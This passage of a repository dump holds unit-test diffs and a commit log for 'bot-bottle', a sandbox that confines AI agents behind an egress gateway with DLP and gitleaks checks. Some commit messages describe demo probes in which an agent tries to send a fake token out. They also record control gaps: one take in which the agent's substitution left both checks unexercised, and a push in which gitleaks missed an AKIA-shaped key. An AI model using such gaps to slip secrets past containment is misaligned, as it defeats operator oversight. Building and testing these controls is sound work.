            entry = Path(d, "bot-bottle")
            entry.write_text("#!/bin/sh\n")
            entry.chmod(0o755)
            cwd = os.getcwd()
            try:
                os.chdir(d)
                with mock.patch.object(invocation.sys, "argv", ["./bot-bottle"]):
                    self.assertTrue(os.path.isabs(invocation.self_path()))
            finally:
                os.chdir(cwd)
    def test_unresolvable_entry_point_falls_back_to_the_name(self):
        # `python -m`-style invocation, or an argv[0] that no longer exists.
        # A slightly wrong hint beats a traceback raised while reporting some
        # unrelated problem.
        with mock.patch.object(invocation.sys, "argv", ["/nonexistent/gone"]), \
             mock.patch.object(invocation.shutil, "which", return_value=None):
            self.assertEqual("/nonexistent/gone", invocation.self_path())
        with mock.patch.object(invocation.sys, "argv", [""]), \
             mock.patch.object(invocation.shutil, "which", return_value=None):
            self.assertEqual("bot-bottle", invocation.self_path())
 class TestSudoCommand(unittest.TestCase):
    def test_names_an_absolute_path_not_the_bare_command(self):
        with mock.patch.object(invocation, "self_path",
                               return_value="/home/u/.local/bin/bot-bottle"):
            cmd = invocation.sudo_command("backend", "setup", "--backend=firecracker")
        self.assertEqual(
            "sudo /home/u/.local/bin/bot-bottle backend setup --backend=firecracker",
            cmd,
        )
        # The regression this exists to prevent.
        self.assertNotIn("sudo bot-bottle", cmd)
 class TestFirecrackerSetupUsesIt(unittest.TestCase):
    def test_root_reinvocation_hint_names_an_absolute_path(self):
        # The message that prompted all this. Drive the real code path rather
        # than scanning the source, which would also match the comment
        # explaining why the bare form is wrong.
        from bot_bottle.backend.firecracker import setup as fc_setup
        err, out = io.StringIO(), io.StringIO()
        with mock.patch.object(fc_setup.os, "geteuid", return_value=501), \
             mock.patch.object(fc_setup.invocation, "self_path",
                               return_value="/home/u/.local/bin/bot-bottle"), \
             contextlib.redirect_stderr(err), contextlib.redirect_stdout(out):
            fc_setup._setup_systemd()
        printed = err.getvalue()
        self.assertIn(
            "sudo /home/u/.local/bin/bot-bottle backend setup --backend=firecracker",
            printed,
        )
        self.assertNotIn("sudo bot-bottle", printed)
 if __name__ == "__main__":
    unittest.main()
@@ -6,7 +6,7 @@ import unittest
 from pathlib import Path
 from unittest.mock import MagicMock, Mock, patch
-from bot_bottle.backend.macos_container.infra_launch import (
+from bot_bottle.backend.macos_container.consolidated_launch import (
    GatewayEndpoint,
    ensure_gateway,
    register_agent,
@@ -16,7 +16,7 @@ from bot_bottle.egress import EgressPlan, EgressRoute
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.orchestrator.client import RegisteredBottle
-_MOD = "bot_bottle.backend.macos_container.infra_launch"
+_MOD = "bot_bottle.backend.macos_container.consolidated_launch"
 _UTIL = "bot_bottle.backend.provision_bottle"
@@ -145,7 +145,7 @@ class TestLiveSourceIps(unittest.TestCase):
        return [Mock(slug=s) for s in slugs]
    def test_maps_slugs_to_container_addresses(self) -> None:
-        from bot_bottle.backend.macos_container.infra_launch import live_source_ips
+        from bot_bottle.backend.macos_container.consolidated_launch import live_source_ips
        with patch(f"{_MOD}.enumerate_active", return_value=self._agents("a", "b")), \
                patch(f"{_MOD}.container_mod.inspect_container_network_ip",
                      side_effect=["10.0.0.1", "10.0.0.2"]) as ip:
@@ -156,7 +156,7 @@ class TestLiveSourceIps(unittest.TestCase):
    def test_containers_without_an_address_are_skipped(self) -> None:
        """A container that hasn't been given a DHCP address yet contributes
        nothing — the reap's grace window, not this list, protects it."""
-        from bot_bottle.backend.macos_container.infra_launch import live_source_ips
+        from bot_bottle.backend.macos_container.consolidated_launch import live_source_ips
        with patch(f"{_MOD}.enumerate_active", return_value=self._agents("a", "b")), \
                patch(f"{_MOD}.container_mod.inspect_container_network_ip",
                      side_effect=["", "10.0.0.2"]):
@@ -165,7 +165,7 @@ class TestLiveSourceIps(unittest.TestCase):
    def test_container_list_failure_raises(self) -> None:
        """If container list fails, the live set is not authoritative and
        reconciliation must be skipped."""
-        from bot_bottle.backend.macos_container.infra_launch import live_source_ips
+        from bot_bottle.backend.macos_container.consolidated_launch import live_source_ips
        from bot_bottle.backend.macos_container.enumerate import EnumerationError
        with patch(f"{_MOD}.enumerate_active",
                   side_effect=EnumerationError("container list failed")):
@@ -174,7 +174,7 @@ class TestLiveSourceIps(unittest.TestCase):
    def test_per_container_inspect_failure_raises(self) -> None:
        """If any individual inspect fails, the live set is not authoritative."""
-        from bot_bottle.backend.macos_container.infra_launch import live_source_ips
+        from bot_bottle.backend.macos_container.consolidated_launch import live_source_ips
        from bot_bottle.backend.macos_container.enumerate import EnumerationError
        with patch(f"{_MOD}.enumerate_active", return_value=self._agents("a", "b")), \
                patch(f"{_MOD}.container_mod.inspect_container_network_ip",
@@ -16,7 +16,7 @@ from unittest.mock import ANY, patch
 from bot_bottle.backend.macos_container.bottle import MacosContainerBottle
 from bot_bottle.backend.macos_container.bottle_plan import MacosContainerBottlePlan
-from bot_bottle.backend.macos_container.infra_launch import GatewayEndpoint
+from bot_bottle.backend.macos_container.consolidated_launch import GatewayEndpoint
 from bot_bottle.backend.macos_container.gateway_hosts import GATEWAY_HOSTNAME
 from bot_bottle.backend.macos_container.launch import (
    _agent_run_argv,
@@ -44,17 +44,6 @@ class TestMacosGatewayConnect(unittest.TestCase):
    def test_default_name(self) -> None:
        self.assertEqual(GATEWAY_NAME, self.gw.name)
    def test_connect_signals_cold_boot(self) -> None:
        # The container is recreated unconditionally, so connect always signals
        # a cold boot → the caller reconciles running bottles (PRD 0081).
        run = Mock(return_value=_proc())
        with patch(f"{_GW}.container_mod") as mod, \
                patch(f"{_GW}.host_gateway_ca_dir", return_value=Path("/ca")):
            mod.dns_server.return_value = "1.1.1.1"
            mod.bind_mount_spec.side_effect = _spec
            mod.run_container_argv = run
            self.assertTrue(self.gw.connect_to_orchestrator(_ORCH_URL, _TOKEN))
    def test_refuses_without_orchestrator_url(self) -> None:
        with patch(f"{_GW}.container_mod") as mod:
            with self.assertRaises(GatewayError):
@@ -24,20 +24,10 @@ class TestInfraEnsureRunning(unittest.TestCase):
        self.orch.url.return_value = "http://192.168.128.2:8099"
        self.orch.mint_gateway_token.return_value = "gw.jwt"
        self.gw = MagicMock()
        # Default to a cold boot (gateway (re)created) so the reconcile branch
        # runs; the actual reconcile is stubbed so these composition tests stay
        # isolated from the `container` CLI.
        self.gw.connect_to_orchestrator.return_value = True
        for name, mock in (("orchestrator", self.orch), ("gateway", self.gw)):
            p = patch.object(self.svc, name, return_value=mock)
            p.start()
            self.addCleanup(p.stop)
        ap = patch(
            "bot_bottle.backend.macos_container.backend"
            ".MacosContainerBottleBackend.attach_bottled_agents_to_gateway"
        )
        self.attach = ap.start()
        self.addCleanup(ap.stop)
    def test_composes_networks_builds_and_brings_up_orchestrator_first(self) -> None:
        with patch(f"{_INFRA}.ensure_networks") as nets:
@@ -56,20 +46,6 @@ class TestInfraEnsureRunning(unittest.TestCase):
            "http://192.168.128.2:8099", "gw.jwt")
        self.orch.mint_gateway_token.assert_called_once()
    def test_cold_boot_reconciles_running_bottles(self) -> None:
        # A (re)created gateway (connect returns True) triggers the bring-up
        # reconcile so running bottles re-trust the fresh gateway (PRD 0081).
        self.gw.connect_to_orchestrator.return_value = True
        with patch(f"{_INFRA}.ensure_networks"):
            self.svc.ensure_running()
        self.attach.assert_called_once_with()
    def test_no_reconcile_when_gateway_left_untouched(self) -> None:
        self.gw.connect_to_orchestrator.return_value = False
        with patch(f"{_INFRA}.ensure_networks"):
            self.svc.ensure_running()
        self.attach.assert_not_called()
    def test_is_healthy_delegates_to_the_orchestrator(self) -> None:
        self.orch.is_healthy.return_value = True
        self.assertTrue(self.svc.is_healthy())
@@ -151,31 +151,6 @@ class TestReprovisionGateway(unittest.TestCase):
                self.c.reprovision_gateway("b1", "key")
 class TestUpdateAgentSecret(unittest.TestCase):
    def setUp(self) -> None:
        self.c = OrchestratorClient("http://orch:8080")
    def test_success_posts_single_secret(self) -> None:
        with patch(_URLOPEN, return_value=_resp(200, {"updated": True})) as opened:
            self.assertTrue(self.c.update_agent_secret("b1", "A", "fresh", "key"))
        request = opened.call_args.args[0]
        self.assertEqual("POST", request.get_method())
        self.assertTrue(request.full_url.endswith("/bottles/b1/secret"))
        self.assertEqual(
            {"name": "A", "value": "fresh", "env_var_secret": "key"},
            json.loads(request.data),
        )
    def test_unknown_bottle_is_false(self) -> None:
        with patch(_URLOPEN, side_effect=_http_error(404)):
            self.assertFalse(self.c.update_agent_secret("b1", "A", "v", "key"))
    def test_other_status_raises(self) -> None:
        with patch(_URLOPEN, side_effect=_http_error(400)):
            with self.assertRaises(OrchestratorClientError):
                self.c.update_agent_secret("b1", "A", "v", "key")
 class TestHealthAndPolicy(unittest.TestCase):
    def setUp(self) -> None:
        self.c = OrchestratorClient("http://orch:8080")
@@ -86,12 +86,9 @@ class TestDockerGateway(unittest.TestCase):
            return _proc()
        with patch(_RUN_DOCKER, side_effect=fake):
-            cold_booted = self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
+            self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
        self.assertEqual([], [c for c in calls if c[:2] == ["docker", "run"]])
        self.assertEqual([], [c for c in calls if c[:2] == ["docker", "rm"]])
        # A healthy current gateway left untouched is not a cold boot — the
        # bring-up flow skips the running-bottle reconcile (PRD 0081).
        self.assertFalse(cold_booted)
    def test_ensure_running_recreates_when_image_is_stale(self) -> None:
        # Running, but the container was built from an OLD image → recreate so
@@ -109,12 +106,9 @@ class TestDockerGateway(unittest.TestCase):
            return _proc()
        with patch(_RUN_DOCKER, side_effect=fake):
-            cold_booted = self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
+            self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
        self.assertEqual(1, len([c for c in calls if c[:2] == ["docker", "run"]]))
        self.assertTrue(any(c[:2] == ["docker", "rm"] for c in calls))
        # A recreated container minted/mounted its CA afresh — a cold boot that
        # triggers the running-bottle reconcile (PRD 0081).
        self.assertTrue(cold_booted)
    def test_ensure_running_starts_the_singleton_when_absent(self) -> None:
        calls: list[list[str]] = []
@@ -124,8 +118,7 @@ class TestDockerGateway(unittest.TestCase):
            return _proc(stdout="") if argv[:2] == ["docker", "ps"] else _proc()
        with patch(_RUN_DOCKER, side_effect=fake):
-            cold_booted = self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
+            self.sc.connect_to_orchestrator(_ORCH_URL, _TOKEN)
        self.assertTrue(cold_booted)  # started fresh → reconcile running bottles
        runs = [c for c in calls if c[:2] == ["docker", "run"]]
        self.assertEqual(1, len(runs))
@@ -199,20 +199,6 @@ class TestAgentSecrets(unittest.TestCase):
        got = self.store.get_agent_secrets("bottle-1")
        self.assertEqual({"K": "new", "K2": "v2"}, got)
    def test_store_agent_secret_upserts_one_key_leaving_others(self) -> None:
        self.store.store_agent_secrets("bottle-1", {"K": "v1", "K2": "v2"})
        self.store.store_agent_secret("bottle-1", "K", "v1-new")  # update existing
        self.store.store_agent_secret("bottle-1", "K3", "v3")     # insert new
        self.assertEqual(
            {"K": "v1-new", "K2": "v2", "K3": "v3"},
            self.store.get_agent_secrets("bottle-1"),
        )
    def test_store_agent_secret_does_not_duplicate_rows(self) -> None:
        self.store.store_agent_secret("bottle-1", "K", "v1")
        self.store.store_agent_secret("bottle-1", "K", "v2")
        self.assertEqual({"K": "v2"}, self.store.get_agent_secrets("bottle-1"))
    def test_delete_removes_secrets(self) -> None:
        self.store.store_agent_secrets("bottle-1", {"K": "v"})
        self.store.delete_agent_secrets("bottle-1")
@@ -125,47 +125,6 @@ class TestDispatch(unittest.TestCase):
            {"EGRESS_TOKEN_0": "upstream-secret"}, self.orch.tokens_for(bottle_id),
        )
    def test_update_agent_secret_in_place(self) -> None:
        key = base64.urlsafe_b64encode(b"unit-test-key").rstrip(b"=").decode()
        status, payload = dispatch(
            self.orch, "POST", "/bottles", _body({
                "source_ip": "10.243.0.21",
                "tokens": {"A": "old", "B": "keep"},
                "env_var_secret": key,
            }),
        )
        self.assertEqual(201, status)
        bottle_id = payload["bottle_id"]
        assert isinstance(bottle_id, str)
        status, response = dispatch(
            self.orch, "POST", f"/bottles/{bottle_id}/secret",
            _body({"name": "A", "value": "fresh", "env_var_secret": key}),
        )
        self.assertEqual((200, {"updated": True}), (status, response))
        self.assertEqual({"A": "fresh", "B": "keep"}, self.orch.tokens_for(bottle_id))
    def test_update_agent_secret_validates_and_unknown_bottle(self) -> None:
        status, _ = dispatch(self.orch, "POST", "/bottles/b1/secret", b"not-json")
        self.assertEqual(400, status)
        status, _ = dispatch(
            self.orch, "POST", "/bottles/b1/secret", _body({"name": "A"}),
        )
        self.assertEqual(400, status)  # value + env_var_secret missing
        status, _ = dispatch(
            self.orch, "POST", "/bottles/ghost/secret",
            _body({"name": "A", "value": "v", "env_var_secret": "k"}),
        )
        self.assertEqual(404, status)
    def test_update_agent_secret_is_cli_only(self) -> None:
        # A data-plane (`gateway`) caller must not set a bottle's tokens.
        status, _ = dispatch(
            self.orch, "POST", "/bottles/b1/secret",
            _body({"name": "A", "value": "v", "env_var_secret": "k"}),
            role=ROLE_GATEWAY,
        )
        self.assertEqual(403, status)
    def test_reprovision_validates_request_and_missing_rows(self) -> None:
        status, _ = dispatch(
            self.orch, "POST", "/bottles/b1/reprovision_gateway", b"not-json",
@@ -103,25 +103,6 @@ class TestOrchestrator(unittest.TestCase):
        self.assertTrue(self.orch.reprovision_from_secret(rec.bottle_id, key))
        self.assertEqual({"EGRESS_TOKEN_0": "secret"}, self.orch.tokens_for(rec.bottle_id))
    def test_update_agent_secret_refreshes_one_token_in_place(self) -> None:
        key = new_env_var_secret()
        rec = self.orch.launch_bottle(
            "10.243.0.20", tokens={"A": "old-a", "B": "keep-b"}, env_var_secret=key,
        )
        self.assertTrue(self.orch.update_agent_secret(rec.bottle_id, "A", "new-a", key))
        # In memory: A refreshed, B left untouched.
        self.assertEqual({"A": "new-a", "B": "keep-b"}, self.orch.tokens_for(rec.bottle_id))
        # At rest: the whole set stays decryptable with the SAME env_var_secret,
        # so a later reprovision restores the refreshed value (not the launch one).
        self.orch._tokens.clear()
        self.assertTrue(self.orch.reprovision_from_secret(rec.bottle_id, key))
        self.assertEqual({"A": "new-a", "B": "keep-b"}, self.orch.tokens_for(rec.bottle_id))
    def test_update_agent_secret_unknown_bottle_is_false(self) -> None:
        self.assertFalse(
            self.orch.update_agent_secret("ghost", "A", "v", new_env_var_secret())
        )
    def test_reprovision_rejects_missing_rows_and_wrong_key(self) -> None:
        self.assertFalse(self.orch.reprovision_from_secret("missing", new_env_var_secret()))
        key = "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE"
Author	SHA1	Message	Date
didericis	6c939e3309	fix: retarget the demo at macos-container and re-record prd-number-check / require-numbered-prds (pull_request) Successful in 8s Details tracker-policy-pr / check-pr (pull_request) Successful in 12s Details The Docker backend cannot launch a bottle on this host: the orchestrator publishes 127.0.0.1:8099 but is attached only to the `--internal` control network, so Docker accepts the mapping and never establishes the forward (PortBindings set, NetworkSettings.Ports empty). Every launch dies on `orchestrator did not become healthy`. That is independent of the demo and left alone here, because fixing it means touching the L3 isolation the control network exists to provide. Pin the tape to macos-container, which launches cleanly, and drop the Docker daemon check and image pre-warm from setup. The pre-warm is not replaced with a `container build` equivalent: build_image() applies --dns handling that would become a second, drifting copy in shell, and the warm layer cache already keeps rebuilds fast. Pre-warm never kept BuildKit off camera anyway — the launcher prints CACHED lines regardless, so that comment was wrong when it was written. Launch via --headless. The interactive path opens four selectors in a row and the tape drove none of them; it also lists every bottle in ~/.bot-bottle/bottles/, putting the operator's own bottle names in a GIF that ships in the README. --headless is one-shot by construction (`claude -p`), so all probes ride in on a single --prompt rather than being typed as follow-ups into a session that has already exited. Spell the probes as literal shell commands. Left in English, one take had the agent substitute a placeholder for $FAKE_TOKEN: the DLP scanner had nothing to match and gitleaks found nothing to flag, so both controls reported a clean pass without ever being exercised. Neither curl discards the body, so the recording shows the host-filter refusal and the DLP refusal as visibly different reasons instead of two identical 403s. Drop the git/gitleaks probe. In the last run carrying it, gitleaks reported `no leaks found` on an AKIA-shaped key and the gate forwarded the push, which failed only because upstream.invalid does not resolve. A recording of that reads as the gate catching a secret while showing the opposite. Tracked in #541. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>	2026-07-27 23:40:46 -04:00
didericis	f23086171b	fix: make demo setup/teardown idempotent and guard on PATH Two failure modes found while validating the harness against a scratch config root: Teardown removed $dest unconditionally before restoring the backup, so a second run deleted the user's own file — the first run had already restored it, and a restored original is indistinguishable from an installed demo file except by content. Compare against the source before removing. Setup had the mirror-image bug: run twice without an intervening teardown it backed up its own copy, and teardown then "restored" that, leaving demo.md in the user's config permanently. Treat an already-identical destination as a no-op. Also fail fast when bot-bottle is not on PATH. The tape types the real console script, so without it a recording silently captures `command not found` instead of a bottle launching. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>	2026-07-27 22:08:22 -04:00
didericis	8774e94f91	fix: repair the demo harness for the current manifest format The demo has been unrunnable since `eafd1c1f` deleted bot-bottle.demo.json as a pre-YAML-migration artifact. demo-setup.sh still copied that file under `set -euo pipefail`, so demo.sh and demo-record.sh both exited non-zero before launching anything. Rebuild the fixtures in the current per-file Markdown format. Bottles are only read from $HOME/.bot-bottle/bottles/ — manifest/index.py ignores a bottles/ dir in CWD by design (PRD 0011) — so setup now installs into real config and pairs every write with a .demo-backup that teardown restores. Teardown compares content before removing, so a second run cannot delete the user's restored original. Point the DLP probe at the bottle's own example.org route rather than api.anthropic.com/dlp-probe. The provider-injected anthropic route defaults to `redact`, which would forward a scrubbed request instead of refusing; the declared route sets outbound_on_match: block so probe 3 stays the hard 403 the demo is showing off. Left at the default `supervise` it would instead hold the request open for up to 300s awaiting operator approval and stall the recording. Also drop the stale pipelock naming from the tape (egress is the gateway's own scanner now), fix demo.sh's ./cli.py invocation, and pre-warm Dockerfile.gateway instead of the removed Dockerfile.git-gate. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>	2026-07-27 22:03:48 -04:00
didericis	9bf2961d13	fix: name an absolute path in the sudo re-run hint test / unit (push) Successful in 57s Details test / image-input-builds (push) Successful in 1m2s Details Update Quality Badges / update-badges (push) Successful in 1m8s Details test / integration-docker (push) Successful in 58s Details test / coverage (push) Successful in 15s Details lint / lint (push) Failing after 10m9s Details The firecracker setup message told users to run sudo bot-bottle backend setup --backend=firecracker which fails for exactly the users who followed the documented install. sudo replaces PATH with sudoers' secure_path — /usr/local/sbin:/usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin on Debian and Ubuntu — which deliberately excludes user-writable directories. Both supported install paths land in one: pipx uses ~/.local/bin, and install.sh's venv fallback symlinks there. So the hint works for anyone who installed system-wide and breaks with "command not found" for everyone else, which is how it survives a read-through. Add bot_bottle/invocation.py: self_path() resolves the running entry point to an absolute path, and sudo_command() builds the copy-pasteable form. The one sudo recommendation in the tree now uses it. Non-sudo hints keep the bare `bot-bottle`, which is correct — the user reached them by running it. self_path() falls back to the bare name when argv[0] cannot be resolved (a `python -m` style invocation), because a slightly wrong hint beats a traceback raised while reporting some unrelated problem. Tested behaviourally rather than by scanning source: the first version of the test grepped the module and failed on the comment explaining why the bare form is wrong. It now drives _setup_systemd() as non-root and asserts what is actually printed. Verified the guard bites by restoring the bare form and watching it fail. Not verified end to end: this message only prints on the systemd path, so it is unreachable on macOS, where the rest of this work was tested.	2026-07-27 12:35:51 -04:00
didericis	6385752040	feat: get Alpine and NixOS cells to green Completes the matrix: all five distros now pass both `test` and `test-ready`, validated end-to-end on the delphi KVM host (QEMU 11.0.2). Alpine — the generic_ cloud image silently ignores a NoCloud seed, so cloud-init never ran. Fixes, all confirmed by booting: - switch to the nocloud_ image variant (built for a local seed), - start sshd from a runcmd (OpenRC doesn't auto-start it after key injection), - give the account a throwaway password — Alpine's non-PAM sshd refuses pubkey auth for a cloud-init-locked ('!') account, unlike the UsePAM=yes distros, - install sudo via cloud-init packages: (the minimal image has none, so the test-ready `sudo apk add` prereq failed). Also add instance-id to the NoCloud meta-data, which the nocloud image requires. NixOS — publishes no downloadable cloud qcow2 (Hydra builds AMIs), so the harness now BUILDS one with nixos-generators (new scripts/linux-install-test-nixos.nix: cloud-init for the key, flakes enabled, deliberately no python/git/pipx). ensure_base_image branches to build_nixos_image for the nixos distro. The test-ready prereq uses `nix profile install` pinned to nixpkgs/nixos-24.11, because the guest's default unstable registry builds pipx from source and its test suite currently fails to build. Validation: 10/10 cells pass, clean teardown, no leaked VMs or run dirs. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>	2026-07-27 12:24:31 -04:00
didericis	496608fc25	fix: correct harness defects found running the matrix First full run on the KVM host surfaced three harness bugs and two stale image URLs; all fixed here. Harness bugs: - Liveness probe used `bot-bottle --version`, which the CLI does not implement (unknown args die non-zero) — so every SUCCESSFUL install was misreported as "no runnable entry point". Switched to `bot-bottle --help`, which exits 0 before any DB/migration/network work. - cmd_down never removed serial.log, so its rmdir failed and every run left an orphan scratch dir behind. Added serial.log to the cleanup. - The teardown trap was armed AFTER cmd_up, but cmd_up's wait_for_ssh can fail with QEMU already running (a guest that never opens SSH) — leaking the VM. Arm the trap before cmd_up. Stale image URLs: - Fedora 41 is EOL and 404s; bumped to Fedora 44 (44-1.7). - Alpine bumped to 3.21.7; its cloud images ship a .sha512 only (this verifier is sha256), so SUM_URL is now empty (skip) with a note. Validated on delphi (QEMU 11.0.2): ubuntu/fedora/arch pass BOTH test and test-ready. Alpine (cloud-init seed not applied → no SSH) and NixOS (no upstream cloud qcow2) remain blocked on image provisioning, documented in the research note as follow-ups. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>	2026-07-27 12:24:31 -04:00
didericis	218f29cb05	refactor: adopt macOS test/test-ready convention for variants Replaces the BB_TEST_PREREQS env toggle with the two subcommands the macOS harness established, so the two repos read the same: test A bare host — prerequisites NOT set up (the default state of a stock cloud image). Exercises install.sh's own prerequisite-guard logic. SOUND (PASS) when install.sh either installs cleanly or declines with one of its own recognized, actionable errors; a crash or unrecognized failure fails. test-ready Prerequisites satisfied — the harness installs python3/git/pipx first, then runs install.sh, which must actually land: entry point runnable, doctor reporting a usable python and config. Structure now mirrors scripts/macos-install-test.sh: a shared _test_cycle driving up -> (prereqs) -> run -> verdict -> down, thin cmd_test / cmd_test_ready wrappers setting _STEPS / _PASS_CLAIM / _REQUIRE_INSTALL, a standalone `prereqs` subcommand, and a _test_teardown that prints the PASS/FAIL claim. The doctor check is now the macOS-style classifier rather than a bare exit-code read: a Traceback is an install defect (fail), a missing `ok: python:` / `ok: config:` line is a fail, and a not-ready backend is reported, not fatal (BB_TEST_REQUIRE_BACKEND=1 makes it fatal for a nested-virt host). This is where Linux diverges from macOS test-ready — a plain VM has no nested KVM for Firecracker and the harness doesn't provision the Docker backend, so backend readiness is never the Linux criterion. test-all now runs every distro × {test, test-ready}. Research note updated. Validated with `bash -n` and `shellcheck`. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>	2026-07-27 12:24:31 -04:00
didericis	1518f73de5	feat: add bare-host install variant to the Linux harness Splits the Linux clean-install harness into two variants, selected with BB_TEST_PREREQS: with (default) — install python3 + git + pipx first, then install.sh. The ready-host happy path; PASS = install.sh exits 0 and leaves a runnable bot-bottle entry point. without — run install.sh on the BARE cloud image. Exercises install.sh's own prerequisite-guard logic (python gate, git-for-git-specs gate, pipx/pip PEP-668 handling). PASS = install.sh either fully succeeds OR declines with one of its own recognized, actionable prerequisite errors; a crash or unrecognized failure is a FAIL. cmd_run now captures install.sh's exit code + full output (install.rc / install.log) instead of aborting on non-zero, so the verdict step applies the variant's criterion. The old assert_installed is replaced by a quiet entry_point_runnable helper plus classify_outcome, which matches the bare-host declines against the exact die() messages install.sh prints. doctor still runs for visibility, but only when an entry point exists. test-all now runs the full matrix -- every distro x both variants -- each cell in its own throwaway VM, and can be pinned to one variant via BB_TEST_PREREQS. Research note updated to document both variants and their pass criteria. Validated with `bash -n` and `shellcheck`. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>	2026-07-27 12:24:31 -04:00
didericis	9d82535390	feat: add Linux clean-install test harness Adds scripts/linux-install-test.sh, a throwaway-VM harness that exercises install.sh the way a brand-new user would across a Linux distro matrix (Ubuntu, Fedora, Arch, Alpine, NixOS), plus the research note docs/research/testing-clean-install-on-linux.md that motivates the approach. This is the Linux counterpart to the macOS clean-install harness. On Linux the boundary of choice flips from a throwaway user account to a disposable KVM VM: it's a genuine kernel + userland + package-manager boundary that wipes to nothing on teardown, and a single harness can swap distro cloud images to cover the several package-management regimes Linux fragments into. The host already needs KVM for the Firecracker backend, so a per-run, copy-on-write VM (qemu-img create -b base) is cheap here -- the equivalent of `docker run --rm`, for a whole machine. Per run the harness caches one read-only base image, boots a throwaway overlay via QEMU/KVM with user-mode networking (no root, no bridge), injects an ephemeral SSH key + passwordless login through a cloud-init seed ISO, installs the distro's prerequisites (python3 + git + pipx), pipes THIS checkout's install.sh into the guest exactly as `curl ... \| sh` would, and asserts the CLI installed cleanly. The overlay is deleted on teardown, so even the OS-level prerequisites are wiped -- unlike a throwaway user, the reset is total. Subcommands mirror the macOS harness (up/run/status/down/test) plus test-all (the matrix) and ssh (an interactive guest shell). test arms an EXIT/INT/TERM trap the moment the VM exists, so a failure or Ctrl-C still tears it down. Scope is installer correctness, not runtime: there is no nested KVM/Docker in the VM, so `bot-bottle doctor` correctly reports every backend not-ready and exits non-zero by design. The pass criterion is therefore install.sh exiting 0, the bot-bottle entry point being present on the fresh user's PATH, and `bot-bottle --version` running -- not a green doctor. doctor's output is still printed so a real installer regression (broken shim, import error) stays visible. Validated with `bash -n` and `shellcheck`. Runtime is host-only (needs /dev/kvm, qemu, cloud-localds), so like the macOS harness it isn't exercised by the Linux PR CI. The cloud-image URLs in the DISTRO table are the one place to bump when a distro cuts a newer build. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>	2026-07-27 12:24:31 -04:00